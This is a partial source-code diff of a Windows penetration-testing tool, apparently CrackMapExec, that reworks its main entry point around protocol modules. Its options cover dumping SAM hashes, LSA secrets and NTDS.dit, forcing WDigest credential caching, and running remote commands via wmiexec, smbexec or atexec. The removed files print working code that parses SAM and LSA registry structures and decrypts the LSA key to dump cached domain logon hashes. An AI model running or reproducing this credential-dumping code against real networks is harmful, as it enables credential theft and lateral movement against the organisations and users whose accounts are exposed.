fail_group.add_argument("--fail-limit", metavar='LIMIT', type=int, help='Max number of failed login attempts per host')
|
|
||||||
parser.add_argument("--verbose", action='store_true', help="Enable verbose output")
|
|
||||||
|
|
||||||
rgroup = parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
|
|
||||||
rgroup.add_argument("--sam", action='store_true', help='Dump SAM hashes from target systems')
|
|
||||||
rgroup.add_argument("--lsa", action='store_true', help='Dump LSA secrets from target systems')
|
|
||||||
rgroup.add_argument("--ntds", choices={'vss', 'drsuapi'}, help="Dump the NTDS.dit from target DCs using the specifed method\n(drsuapi is the fastest)")
|
|
||||||
rgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history')
|
|
||||||
rgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account')
|
|
||||||
rgroup.add_argument("--wdigest", choices={'enable', 'disable'}, help="Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1")
|
|
||||||
|
|
||||||
egroup = parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
|
|
||||||
egroup.add_argument("--shares", action="store_true", help="Enumerate shares and access")
|
|
||||||
egroup.add_argument('--uac', action='store_true', help='Checks UAC status')
|
|
||||||
egroup.add_argument("--sessions", action='store_true', help='Enumerate active sessions')
|
|
||||||
egroup.add_argument('--disks', action='store_true', help='Enumerate disks')
|
|
||||||
egroup.add_argument("--users", action='store_true', help='Enumerate users')
|
|
||||||
egroup.add_argument("--rid-brute", nargs='?', const=4000, metavar='MAX_RID', help='Enumerate users by bruteforcing RID\'s (default: 4000)')
|
|
||||||
egroup.add_argument("--pass-pol", action='store_true', help='Dump password policy')
|
|
||||||
egroup.add_argument("--lusers", action='store_true', help='Enumerate logged on users')
|
|
||||||
egroup.add_argument("--wmi", metavar='QUERY', type=str, help='Issues the specified WMI query')
|
|
||||||
egroup.add_argument("--wmi-namespace", metavar='NAMESPACE', default='//./root/cimv2', help='WMI Namespace (default: //./root/cimv2)')
|
|
||||||
|
|
||||||
sgroup = parser.add_argument_group("Spidering", "Options for spidering shares")
|
|
||||||
sgroup.add_argument("--spider", metavar='FOLDER', nargs='?', const='.', type=str, help='Folder to spider (default: root directory)')
|
|
||||||
sgroup.add_argument("--content", action='store_true', help='Enable file content searching')
|
|
||||||
sgroup.add_argument("--exclude-dirs", type=str, metavar='DIR_LIST', default='', help='Directories to exclude from spidering')
|
|
||||||
esgroup = sgroup.add_mutually_exclusive_group()
|
|
||||||
esgroup.add_argument("--pattern", nargs='+', help='Pattern(s) to search for in folders, filenames and file content')
|
|
||||||
esgroup.add_argument("--regex", nargs='+', help='Regex(s) to search for in folders, filenames and file content')
|
|
||||||
sgroup.add_argument("--depth", type=int, default=10, help='Spider recursion depth (default: 10)')
|
|
||||||
|
|
||||||
cgroup = parser.add_argument_group("Command Execution", "Options for executing commands")
|
|
||||||
cgroup.add_argument('--exec-method', choices={"wmiexec", "smbexec", "atexec"}, default=None, help="Method to execute the command. Ignored if in MSSQL mode (default: wmiexec)")
|
|
||||||
cgroup.add_argument('--force-ps32', action='store_true', help='Force the PowerShell command to run in a 32-bit process')
|
|
||||||
cgroup.add_argument('--no-output', action='store_true', help='Do not retrieve command output')
|
|
||||||
xxxgroup = cgroup.add_mutually_exclusive_group()
|
|
||||||
xxxgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="Execute the specified command")
|
|
||||||
xxxgroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='Execute the specified PowerShell command')
|
|
||||||
|
|
||||||
mgroup = parser.add_argument_group("MSSQL Interaction", "Options for interacting with MSSQL DBs")
|
|
||||||
mgroup.add_argument("--mssql", action='store_true', help='Switches CME into MSSQL Mode. If credentials are provided will authenticate against all discovered MSSQL DBs')
|
|
||||||
mgroup.add_argument("--mssql-query", metavar='QUERY', type=str, help='Execute the specifed query against the MSSQL DB')
|
|
||||||
mgroup.add_argument("--mssql-auth", choices={'windows', 'normal'}, default='windows', help='MSSQL authentication type to use (default: windows)')
|
|
||||||
|
|
||||||
logger = CMEAdapter(setup_logger())
|
|
||||||
first_run_setup(logger)
|
first_run_setup(logger)
|
||||||
|
|
||||||
if len(sys.argv) == 1:
|
args = gen_cli_args()
|
||||||
parser.print_help()
|
|
||||||
|
if args.darrell:
|
||||||
|
links = open(os.path.join(os.path.dirname(cme.__file__), 'data', 'videos_for_darrel.txt')).read().splitlines()
|
||||||
|
try:
|
||||||
|
webbrowser.open(random.choice(links))
|
||||||
|
except:
|
||||||
|
print "Darrel wtf I'm trying to help you, here have a gorilla..."
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
cme_path = os.path.expanduser('~/.cme')
|
cme_path = os.path.expanduser('~/.cme')
|
||||||
|
|
||||||
module = None
|
config = ConfigParser()
|
||||||
chain_list = None
|
config.read(os.path.join(cme_path, 'cme.conf'))
|
||||||
server = None
|
|
||||||
context = None
|
|
||||||
smb_server = None
|
|
||||||
share_name = gen_random_string(5).upper()
|
|
||||||
targets = []
|
|
||||||
|
|
||||||
args = parser.parse_args()
|
#module = None
|
||||||
|
#chain_list = None
|
||||||
|
smb_share_name = gen_random_string(5).upper()
|
||||||
|
server_port_dict = {'http': 80, 'https': 443, 'smb': 445}
|
||||||
|
targets = []
|
||||||
|
current_workspace = config.get('CME', 'workspace')
|
||||||
|
|
||||||
if args.verbose:
|
if args.verbose:
|
||||||
setup_debug_logger()
|
setup_debug_logger()
|
||||||
|
|
||||||
logging.debug('Passed args:\n' + pformat(vars(args)))
|
logging.debug('Passed args:\n' + pformat(vars(args)))
|
||||||
|
|
||||||
db_path = os.path.join(cme_path, 'cme.db')
|
if hasattr(args, 'username') and args.username:
|
||||||
# set the database connection to autocommit w/ isolation level
|
|
||||||
db_connection = sqlite3.connect(db_path, check_same_thread=False)
|
|
||||||
db_connection.text_factory = str
|
|
||||||
db_connection.isolation_level = None
|
|
||||||
db = CMEDatabase(db_connection)
|
|
||||||
|
|
||||||
if args.username:
|
|
||||||
for user in args.username:
|
for user in args.username:
|
||||||
if os.path.exists(user):
|
if os.path.exists(user):
|
||||||
args.username.remove(user)
|
args.username.remove(user)
|
||||||
args.username.append(open(user, 'r'))
|
args.username.append(open(user, 'r'))
|
||||||
|
|
||||||
if args.password:
|
if hasattr(args, 'password') and args.password:
|
||||||
for passw in args.password:
|
for passw in args.password:
|
||||||
if os.path.exists(passw):
|
if os.path.exists(passw):
|
||||||
args.password.remove(passw)
|
args.password.remove(passw)
|
||||||
args.password.append(open(passw, 'r'))
|
args.password.append(open(passw, 'r'))
|
||||||
|
|
||||||
elif args.hash:
|
elif hasattr(args, 'hash') and args.hash:
|
||||||
for ntlm_hash in args.hash:
|
for ntlm_hash in args.hash:
|
||||||
if os.path.exists(ntlm_hash):
|
if os.path.exists(ntlm_hash):
|
||||||
args.hash.remove(ntlm_hash)
|
args.hash.remove(ntlm_hash)
|
||||||
args.hash.append(open(ntlm_hash, 'r'))
|
args.hash.append(open(ntlm_hash, 'r'))
|
||||||
|
|
||||||
if args.cred_id:
|
if hasattr(args, 'cred_id') and args.cred_id:
|
||||||
for cred_id in args.cred_id:
|
for cred_id in args.cred_id:
|
||||||
if '-' in str(cred_id):
|
if '-' in str(cred_id):
|
||||||
start_id, end_id = cred_id.split('-')
|
start_id, end_id = cred_id.split('-')
|
||||||
|
@ -190,72 +91,95 @@ def main():
|
||||||
logger.error('Error parsing database credential id: {}'.format(e))
|
logger.error('Error parsing database credential id: {}'.format(e))
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
for target in args.target:
|
if hasattr(args, 'target') and args.target:
|
||||||
if os.path.exists(target):
|
for target in args.target:
|
||||||
with open(target, 'r') as target_file:
|
if os.path.exists(target):
|
||||||
for target_entry in target_file:
|
with open(target, 'r') as target_file:
|
||||||
targets.extend(parse_targets(target_entry))
|
for target_entry in target_file:
|
||||||
else:
|
targets.extend(parse_targets(target_entry))
|
||||||
targets.extend(parse_targets(target))
|
else:
|
||||||
|
targets.extend(parse_targets(target))
|
||||||
|
|
||||||
if args.list_modules:
|
smb_server = CMESMBServer(logger, smb_share_name, args.verbose)
|
||||||
loader = ModuleLoader(args, db, logger)
|
smb_server.start()
|
||||||
modules = loader.get_modules()
|
|
||||||
|
|
||||||
for m in modules:
|
p_loader = protocol_loader()
|
||||||
logger.info('{:<25} Chainable: {:<10} {}'.format(m, str(modules[m]['chain_support']), modules[m]['description']))
|
protocol_path = p_loader.get_protocols()[args.protocol]['path']
|
||||||
sys.exit(0)
|
protocol_db_path = p_loader.get_protocols()[args.protocol]['dbpath']
|
||||||
|
|
||||||
elif args.module and args.show_options:
|
protocol_object = getattr(p_loader.load_protocol(protocol_path), args.protocol)
|
||||||
loader = ModuleLoader(args, db, logger)
|
protocol_db_object = getattr(p_loader.load_protocol(protocol_db_path), 'database')
|
||||||
modules = loader.get_modules()
|
|
||||||
|
|
||||||
for m in modules.keys():
|
db_path = os.path.join(cme_path, 'workspaces', current_workspace, args.protocol + '.db')
|
||||||
if args.module.lower() == m.lower():
|
# set the database connection to autocommit w/ isolation level
|
||||||
logger.info('{} module options:\n{}'.format(m, modules[m]['options']))
|
db_connection = sqlite3.connect(db_path, check_same_thread=False)
|
||||||
sys.exit(0)
|
db_connection.text_factory = str
|
||||||
|
db_connection.isolation_level = None
|
||||||
|
db = protocol_db_object(db_connection)
|
||||||
|
|
||||||
if args.execute or args.ps_execute or args.module or args.module_chain:
|
setattr(protocol_object, 'smb_share_name', smb_share_name)
|
||||||
|
|
||||||
if os.geteuid() != 0:
|
if hasattr(args, 'module'): #or hasattr(args, 'module_chain'):
|
||||||
logger.error("I'm sorry {}, I'm afraid I can't let you do that (cause I need root)".format(getuser()))
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
loader = ModuleLoader(args, db, logger)
|
loader = module_loader(args, db, logger)
|
||||||
modules = loader.get_modules()
|
|
||||||
|
|
||||||
smb_server = CMESMBServer(logger, share_name, args.verbose)
|
if args.list_modules:
|
||||||
smb_server.start()
|
modules = loader.get_modules()
|
||||||
|
|
||||||
if args.module:
|
for m in modules:
|
||||||
|
logger.info('{:<25} {}'.format(m, modules[m]['description']))
|
||||||
|
|
||||||
|
elif args.module and args.module_options:
|
||||||
|
|
||||||
|
modules = loader.get_modules()
|
||||||
for m in modules.keys():
|
for m in modules.keys():
|
||||||
if args.module.lower() == m.lower():
|
if args.module.lower() == m.lower():
|
||||||
module, context, server = loader.init_module(modules[m]['path'])
|
logger.info('{} module options:\n{}'.format(m, modules[m]['options']))
|
||||||
|
|
||||||
elif args.module_chain:
|
elif args.module:
|
||||||
chain_list, server = ModuleChainLoader(args, db, logger).init_module_chain()
|
modules = loader.get_modules()
|
||||||
|
for m in modules.keys():
|
||||||
|
if args.module.lower() == m.lower():
|
||||||
|
module = loader.init_module(modules[m]['path'])
|
||||||
|
setattr(protocol_object, 'module', module)
|
||||||
|
break
|
||||||
|
|
||||||
|
if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
|
||||||
|
|
||||||
|
if hasattr(module, 'required_server'):
|
||||||
|
args.server = getattr(module, 'required_server')
|
||||||
|
|
||||||
|
if not args.server_port:
|
||||||
|
args.server_port = server_port_dict[args.server]
|
||||||
|
|
||||||
|
context = Context(db, logger, args)
|
||||||
|
server = CMEServer(module, context, logger, args.server_host, args.server_port, args.server)
|
||||||
|
server.start()
|
||||||
|
|
||||||
|
setattr(protocol_object, 'server', server.server)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
'''
|
'''
|
||||||
Open all the greenlet (as supposed to redlet??) threads
|
Open all the greenlet (as supposed to redlet??) threads
|
||||||
Whoever came up with that name has a fetish for traffic lights
|
Whoever came up with that name has a fetish for traffic lights
|
||||||
'''
|
'''
|
||||||
pool = Pool(args.threads)
|
pool = Pool(args.threads)
|
||||||
jobs = [pool.spawn(Connection, args, db, str(target), module, chain_list, server, share_name) for target in targets]
|
jobs = [pool.spawn(protocol_object, args, db, str(target)) for target in targets]
|
||||||
|
|
||||||
#Dumping the NTDS.DIT and/or spidering shares can take a long time, so we ignore the thread timeout
|
#Dumping the NTDS.DIT and/or spidering shares can take a long time, so we ignore the thread timeout
|
||||||
if args.ntds or args.spider:
|
#if args.ntds or args.spider:
|
||||||
joinall(jobs)
|
# joinall(jobs)
|
||||||
elif not args.ntds:
|
#else:
|
||||||
for job in jobs:
|
for job in jobs:
|
||||||
job.join(timeout=args.timeout)
|
job.join(timeout=args.timeout)
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
if server:
|
try:
|
||||||
server.shutdown()
|
server.shutdown()
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
if smb_server:
|
smb_server.shutdown()
|
||||||
smb_server.shutdown()
|
|
||||||
|
|
||||||
logger.info('KTHXBYE!')
|
print '\n'
|
||||||
|
logger.info('KTHXBYE!')
|
||||||
|
|
|
@ -1,149 +0,0 @@
|
||||||
from impacket.structure import Structure
|
|
||||||
from struct import unpack
|
|
||||||
|
|
||||||
# Structures
|
|
||||||
# Taken from http://insecurety.net/?p=768
|
|
||||||
class SAM_KEY_DATA(Structure):
|
|
||||||
structure = (
|
|
||||||
('Revision','<L=0'),
|
|
||||||
('Length','<L=0'),
|
|
||||||
('Salt','16s=""'),
|
|
||||||
('Key','16s=""'),
|
|
||||||
('CheckSum','16s=""'),
|
|
||||||
('Reserved','<Q=0'),
|
|
||||||
)
|
|
||||||
|
|
||||||
class DOMAIN_ACCOUNT_F(Structure):
|
|
||||||
structure = (
|
|
||||||
('Revision','<L=0'),
|
|
||||||
('Unknown','<L=0'),
|
|
||||||
('CreationTime','<Q=0'),
|
|
||||||
('DomainModifiedCount','<Q=0'),
|
|
||||||
('MaxPasswordAge','<Q=0'),
|
|
||||||
('MinPasswordAge','<Q=0'),
|
|
||||||
('ForceLogoff','<Q=0'),
|
|
||||||
('LockoutDuration','<Q=0'),
|
|
||||||
('LockoutObservationWindow','<Q=0'),
|
|
||||||
('ModifiedCountAtLastPromotion','<Q=0'),
|
|
||||||
('NextRid','<L=0'),
|
|
||||||
('PasswordProperties','<L=0'),
|
|
||||||
('MinPasswordLength','<H=0'),
|
|
||||||
('PasswordHistoryLength','<H=0'),
|
|
||||||
('LockoutThreshold','<H=0'),
|
|
||||||
('Unknown2','<H=0'),
|
|
||||||
('ServerState','<L=0'),
|
|
||||||
('ServerRole','<H=0'),
|
|
||||||
('UasCompatibilityRequired','<H=0'),
|
|
||||||
('Unknown3','<Q=0'),
|
|
||||||
('Key0',':', SAM_KEY_DATA),
|
|
||||||
# Commenting this, not needed and not present on Windows 2000 SP0
|
|
||||||
# ('Key1',':', SAM_KEY_DATA),
|
|
||||||
# ('Unknown4','<L=0'),
|
|
||||||
)
|
|
||||||
|
|
||||||
# Great help from here http://www.beginningtoseethelight.org/ntsecurity/index.htm
|
|
||||||
class USER_ACCOUNT_V(Structure):
|
|
||||||
structure = (
|
|
||||||
('Unknown','12s=""'),
|
|
||||||
('NameOffset','<L=0'),
|
|
||||||
('NameLength','<L=0'),
|
|
||||||
('Unknown2','<L=0'),
|
|
||||||
('FullNameOffset','<L=0'),
|
|
||||||
('FullNameLength','<L=0'),
|
|
||||||
('Unknown3','<L=0'),
|
|
||||||
('CommentOffset','<L=0'),
|
|
||||||
('CommentLength','<L=0'),
|
|
||||||
('Unknown3','<L=0'),
|
|
||||||
('UserCommentOffset','<L=0'),
|
|
||||||
('UserCommentLength','<L=0'),
|
|
||||||
('Unknown4','<L=0'),
|
|
||||||
('Unknown5','12s=""'),
|
|
||||||
('HomeDirOffset','<L=0'),
|
|
||||||
('HomeDirLength','<L=0'),
|
|
||||||
('Unknown6','<L=0'),
|
|
||||||
('HomeDirConnectOffset','<L=0'),
|
|
||||||
('HomeDirConnectLength','<L=0'),
|
|
||||||
('Unknown7','<L=0'),
|
|
||||||
('ScriptPathOffset','<L=0'),
|
|
||||||
('ScriptPathLength','<L=0'),
|
|
||||||
('Unknown8','<L=0'),
|
|
||||||
('ProfilePathOffset','<L=0'),
|
|
||||||
('ProfilePathLength','<L=0'),
|
|
||||||
('Unknown9','<L=0'),
|
|
||||||
('WorkstationsOffset','<L=0'),
|
|
||||||
('WorkstationsLength','<L=0'),
|
|
||||||
('Unknown10','<L=0'),
|
|
||||||
('HoursAllowedOffset','<L=0'),
|
|
||||||
('HoursAllowedLength','<L=0'),
|
|
||||||
('Unknown11','<L=0'),
|
|
||||||
('Unknown12','12s=""'),
|
|
||||||
('LMHashOffset','<L=0'),
|
|
||||||
('LMHashLength','<L=0'),
|
|
||||||
('Unknown13','<L=0'),
|
|
||||||
('NTHashOffset','<L=0'),
|
|
||||||
('NTHashLength','<L=0'),
|
|
||||||
('Unknown14','<L=0'),
|
|
||||||
('Unknown15','24s=""'),
|
|
||||||
('Data',':=""'),
|
|
||||||
)
|
|
||||||
|
|
||||||
class NL_RECORD(Structure):
|
|
||||||
structure = (
|
|
||||||
('UserLength','<H=0'),
|
|
||||||
('DomainNameLength','<H=0'),
|
|
||||||
('EffectiveNameLength','<H=0'),
|
|
||||||
('FullNameLength','<H=0'),
|
|
||||||
('MetaData','52s=""'),
|
|
||||||
('FullDomainLength','<H=0'),
|
|
||||||
('Length2','<H=0'),
|
|
||||||
('CH','16s=""'),
|
|
||||||
('T','16s=""'),
|
|
||||||
('EncryptedData',':'),
|
|
||||||
)
|
|
||||||
|
|
||||||
|
|
||||||
class SAMR_RPC_SID_IDENTIFIER_AUTHORITY(Structure):
|
|
||||||
structure = (
|
|
||||||
('Value','6s'),
|
|
||||||
)
|
|
||||||
|
|
||||||
class SAMR_RPC_SID(Structure):
|
|
||||||
structure = (
|
|
||||||
('Revision','<B'),
|
|
||||||
('SubAuthorityCount','<B'),
|
|
||||||
('IdentifierAuthority',':',SAMR_RPC_SID_IDENTIFIER_AUTHORITY),
|
|
||||||
('SubLen','_-SubAuthority','self["SubAuthorityCount"]*4'),
|
|
||||||
('SubAuthority',':'),
|
|
||||||
)
|
|
||||||
|
|
||||||
def formatCanonical(self):
|
|
||||||
ans = 'S-%d-%d' % (self['Revision'], ord(self['IdentifierAuthority']['Value'][5]))
|
|
||||||
for i in range(self['SubAuthorityCount']):
|
|
||||||
ans += '-%d' % ( unpack('>L',self['SubAuthority'][i*4:i*4+4])[0])
|
|
||||||
return ans
|
|
||||||
|
|
||||||
class LSA_SECRET_BLOB(Structure):
|
|
||||||
structure = (
|
|
||||||
('Length','<L=0'),
|
|
||||||
('Unknown','12s=""'),
|
|
||||||
('_Secret','_-Secret','self["Length"]'),
|
|
||||||
('Secret',':'),
|
|
||||||
('Remaining',':'),
|
|
||||||
)
|
|
||||||
|
|
||||||
class LSA_SECRET(Structure):
|
|
||||||
structure = (
|
|
||||||
('Version','<L=0'),
|
|
||||||
('EncKeyID','16s=""'),
|
|
||||||
('EncAlgorithm','<L=0'),
|
|
||||||
('Flags','<L=0'),
|
|
||||||
('EncryptedData',':'),
|
|
||||||
)
|
|
||||||
|
|
||||||
class LSA_SECRET_XP(Structure):
|
|
||||||
structure = (
|
|
||||||
('Length','<L=0'),
|
|
||||||
('Version','<L=0'),
|
|
||||||
('_Secret','_-Secret', 'self["Length"]'),
|
|
||||||
('Secret', ':'),
|
|
||||||
)
|
|
|
@ -1,32 +0,0 @@
|
||||||
from struct import pack
|
|
||||||
|
|
||||||
class CryptoCommon:
|
|
||||||
# Common crypto stuff used over different classes
|
|
||||||
def transformKey(self, InputKey):
|
|
||||||
# Section 2.2.11.1.2 Encrypting a 64-Bit Block with a 7-Byte Key
|
|
||||||
OutputKey = []
|
|
||||||
OutputKey.append( chr(ord(InputKey[0]) >> 0x01) )
|
|
||||||
OutputKey.append( chr(((ord(InputKey[0])&0x01)<<6) | (ord(InputKey[1])>>2)) )
|
|
||||||
OutputKey.append( chr(((ord(InputKey[1])&0x03)<<5) | (ord(InputKey[2])>>3)) )
|
|
||||||
OutputKey.append( chr(((ord(InputKey[2])&0x07)<<4) | (ord(InputKey[3])>>4)) )
|
|
||||||
OutputKey.append( chr(((ord(InputKey[3])&0x0F)<<3) | (ord(InputKey[4])>>5)) )
|
|
||||||
OutputKey.append( chr(((ord(InputKey[4])&0x1F)<<2) | (ord(InputKey[5])>>6)) )
|
|
||||||
OutputKey.append( chr(((ord(InputKey[5])&0x3F)<<1) | (ord(InputKey[6])>>7)) )
|
|
||||||
OutputKey.append( chr(ord(InputKey[6]) & 0x7F) )
|
|
||||||
|
|
||||||
for i in range(8):
|
|
||||||
OutputKey[i] = chr((ord(OutputKey[i]) << 1) & 0xfe)
|
|
||||||
|
|
||||||
return "".join(OutputKey)
|
|
||||||
|
|
||||||
def deriveKey(self, baseKey):
|
|
||||||
# 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key
|
|
||||||
# Let I be the little-endian, unsigned integer.
|
|
||||||
# Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes.
|
|
||||||
# Note that because I is in little-endian byte order, I[0] is the least significant byte.
|
|
||||||
# Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2].
|
|
||||||
# Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1]
|
|
||||||
key = pack('<L',baseKey)
|
|
||||||
key1 = key[0] + key[1] + key[2] + key[3] + key[0] + key[1] + key[2]
|
|
||||||
key2 = key[3] + key[0] + key[1] + key[2] + key[3] + key[0] + key[1]
|
|
||||||
return self.transformKey(key1),self.transformKey(key2)
|
|
|
@ -1,321 +0,0 @@
|
||||||
from cme.credentials.offlineregistry import OfflineRegistry
|
|
||||||
from cme.credentials.cryptocommon import CryptoCommon
|
|
||||||
from cme.credentials.commonstructs import LSA_SECRET, LSA_SECRET_BLOB, NL_RECORD, LSA_SECRET_XP
|
|
||||||
from impacket import ntlm
|
|
||||||
from impacket.winregistry import hexdump
|
|
||||||
from Crypto.Cipher import AES, DES, ARC4
|
|
||||||
from Crypto.Hash import MD4
|
|
||||||
from binascii import hexlify
|
|
||||||
import logging
|
|
||||||
import ntpath
|
|
||||||
import hashlib
|
|
||||||
import codecs
|
|
||||||
from struct import unpack
|
|
||||||
import hmac as HMAC
|
|
||||||
|
|
||||||
class LSASecrets(OfflineRegistry):
|
|
||||||
def __init__(self, securityFile, bootKey, logger, remoteOps = None, isRemote = False):
|
|
||||||
OfflineRegistry.__init__(self,securityFile, isRemote)
|
|
||||||
self.__hashedBootKey = ''
|
|
||||||
self.__bootKey = bootKey
|
|
||||||
self.__LSAKey = ''
|
|
||||||
self.__NKLMKey = ''
|
|
||||||
self.__isRemote = isRemote
|
|
||||||
self.__vistaStyle = True
|
|
||||||
self.__cryptoCommon = CryptoCommon()
|
|
||||||
self.__securityFile = securityFile
|
|
||||||
self.__logger = logger
|
|
||||||
self.__remoteOps = remoteOps
|
|
||||||
self.__cachedItems = []
|
|
||||||
self.__secretItems = []
|
|
||||||
|
|
||||||
def MD5(self, data):
|
|
||||||
md5 = hashlib.new('md5')
|
|
||||||
md5.update(data)
|
|
||||||
return md5.digest()
|
|
||||||
|
|
||||||
def __sha256(self, key, value, rounds=1000):
|
|
||||||
sha = hashlib.sha256()
|
|
||||||
sha.update(key)
|
|
||||||
for i in range(1000):
|
|
||||||
sha.update(value)
|
|
||||||
return sha.digest()
|
|
||||||
|
|
||||||
def __decryptAES(self, key, value, iv='\x00'*16):
|
|
||||||
plainText = ''
|
|
||||||
if iv != '\x00'*16:
|
|
||||||
aes256 = AES.new(key,AES.MODE_CBC, iv)
|
|
||||||
|
|
||||||
for index in range(0, len(value), 16):
|
|
||||||
if iv == '\x00'*16:
|
|
||||||
aes256 = AES.new(key,AES.MODE_CBC, iv)
|
|
||||||
cipherBuffer = value[index:index+16]
|
|
||||||
# Pad buffer to 16 bytes
|
|
||||||
if len(cipherBuffer) < 16:
|
|
||||||
cipherBuffer += '\x00' * (16-len(cipherBuffer))
|
|
||||||
plainText += aes256.decrypt(cipherBuffer)
|
|
||||||
|
|
||||||
return plainText
|
|
||||||
|
|
||||||
def __decryptSecret(self, key, value):
|
|
||||||
# [MS-LSAD] Section 5.1.2
|
|
||||||
plainText = ''
|
|
||||||
|
|
||||||
encryptedSecretSize = unpack('<I', value[:4])[0]
|
|
||||||
value = value[len(value)-encryptedSecretSize:]
|
|
||||||
|
|
||||||
key0 = key
|
|
||||||
for i in range(0, len(value), 8):
|
|
||||||
cipherText = value[:8]
|
|
||||||
tmpStrKey = key0[:7]
|
|
||||||
tmpKey = self.__cryptoCommon.transformKey(tmpStrKey)
|
|
||||||
Crypt1 = DES.new(tmpKey, DES.MODE_ECB)
|
|
||||||
plainText += Crypt1.decrypt(cipherText)
|
|
||||||
key0 = key0[7:]
|
|
||||||
value = value[8:]
|
|
||||||
# AdvanceKey
|
|
||||||
if len(key0) < 7:
|
|
||||||
key0 = key[len(key0):]
|
|
||||||
|
|
||||||
secret = LSA_SECRET_XP(plainText)
|
|
||||||
return secret['Secret']
|
|
||||||
|
|
||||||
def __decryptHash(self, key, value, iv):
|
|
||||||
hmac_md5 = HMAC.new(key,iv)
|
|
||||||
rc4key = hmac_md5.digest()
|
|
||||||
|
|
||||||
rc4 = ARC4.new(rc4key)
|
|
||||||
data = rc4.encrypt(value)
|
|
||||||
return data
|
|
||||||
|
|
||||||
def __decryptLSA(self, value):
|
|
||||||
if self.__vistaStyle is True:
|
|
||||||
# ToDo: There could be more than one LSA Keys
|
|
||||||
record = LSA_SECRET(value)
|
|
||||||
tmpKey = self.__sha256(self.__bootKey, record['EncryptedData'][:32])
|
|
||||||
plainText = self.__decryptAES(tmpKey, record['EncryptedData'][32:])
|
|
||||||
record = LSA_SECRET_BLOB(plainText)
|
|
||||||
self.__LSAKey = record['Secret'][52:][:32]
|
|
||||||
|
|
||||||
else:
|
|
||||||
md5 = hashlib.new('md5')
|
|
||||||
md5.update(self.__bootKey)
|
|
||||||
for i in range(1000):
|
|
||||||
md5.update(value[60:76])
|
|
||||||
tmpKey = md5.digest()
|
|
||||||
rc4 = ARC4.new(tmpKey)
|
|
||||||
plainText = rc4.decrypt(value[12:60])
|
|
||||||
self.__LSAKey = plainText[0x10:0x20]
|
|
||||||
|
|
||||||
def __getLSASecretKey(self):
|
|
||||||
logging.debug('Decrypting LSA Key')
|
|
||||||
# Let's try the key post XP
|
|
||||||
value = self.getValue('\\Policy\\PolEKList\\default')
|
|
||||||
if value is None:
|
|
||||||
logging.debug('PolEKList not found, trying PolSecretEncryptionKey')
|
|
||||||
# Second chance
|
|
||||||
value = self.getValue('\\Policy\\PolSecretEncryptionKey\\default')
|
|
||||||
self.__vistaStyle = False
|
|
||||||
if value is None:
|
|
||||||
# No way :(
|
|
||||||
return None
|
|
||||||
|
|
||||||
self.__decryptLSA(value[1])
|
|
||||||
|
|
||||||
def __getNLKMSecret(self):
|
|
||||||
logging.debug('Decrypting NL$KM')
|
|
||||||
value = self.getValue('\\Policy\\Secrets\\NL$KM\\CurrVal\\default')
|
|
||||||
if value is None:
|
|
||||||
raise Exception("Couldn't get NL$KM value")
|
|
||||||
if self.__vistaStyle is True:
|
|
||||||
record = LSA_SECRET(value[1])
|
|
||||||
tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
|
|
||||||
self.__NKLMKey = self.__decryptAES(tmpKey, record['EncryptedData'][32:])
|
|
||||||
else:
|
|
||||||
self.__NKLMKey = self.__decryptSecret(self.__LSAKey, value[1])
|
|
||||||
|
|
||||||
def __pad(self, data):
|
|
||||||
if (data & 0x3) > 0:
|
|
||||||
return data + (data & 0x3)
|
|
||||||
else:
|
|
||||||
return data
|
|
||||||
|
|
||||||
def dumpCachedHashes(self):
|
|
||||||
if self.__securityFile is None:
|
|
||||||
# No SECURITY file provided
|
|
||||||
return
|
|
||||||
|
|
||||||
self.__logger.success('Dumping cached domain logon information (uid:encryptedHash:longDomain:domain)')
|
|
||||||
|
|
||||||
# Let's first see if there are cached entries
|
|
||||||
values = self.enumValues('\\Cache')
|
|
||||||
if values is None:
|
|
||||||
# No cache entries
|
|
||||||
return
|
|
||||||
try:
|
|
||||||
# Remove unnecesary value
|
|
||||||
values.remove('NL$Control')
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
|
|
||||||
self.__getLSASecretKey()
|
|
||||||
self.__getNLKMSecret()
|
|
||||||
|
|
||||||
for value in values:
|
|
||||||
logging.debug('Looking into %s' % value)
|
|
||||||
record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value))[1])
|
|
||||||
if record['CH'] != 16 * '\x00':
|
|
||||||
if self.__vistaStyle is True:
|
|
||||||
plainText = self.__decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['CH'])
|
|
||||||
else:
|
|
||||||
plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['CH'])
|
|
||||||
pass
|
|
||||||
encHash = plainText[:0x10]
|
|
||||||
plainText = plainText[0x48:]
|
|
||||||
userName = plainText[:record['UserLength']].decode('utf-16le')
|
|
||||||
plainText = plainText[self.__pad(record['UserLength']):]
|
|
||||||
domain = plainText[:record['DomainNameLength']].decode('utf-16le')
|
|
||||||
plainText = plainText[self.__pad(record['DomainNameLength']):]
|
|
||||||
domainLong = plainText[:self.__pad(record['FullDomainLength'])].decode('utf-16le')
|
|
||||||
answer = "%s:%s:%s:%s:::" % (userName, hexlify(encHash), domainLong, domain)
|
|
||||||
self.__cachedItems.append(answer)
|
|
||||||
self.__logger.highlight(answer)
|
|
||||||
|
|
||||||
return self.__cachedItems
|
|
||||||
|
|
||||||
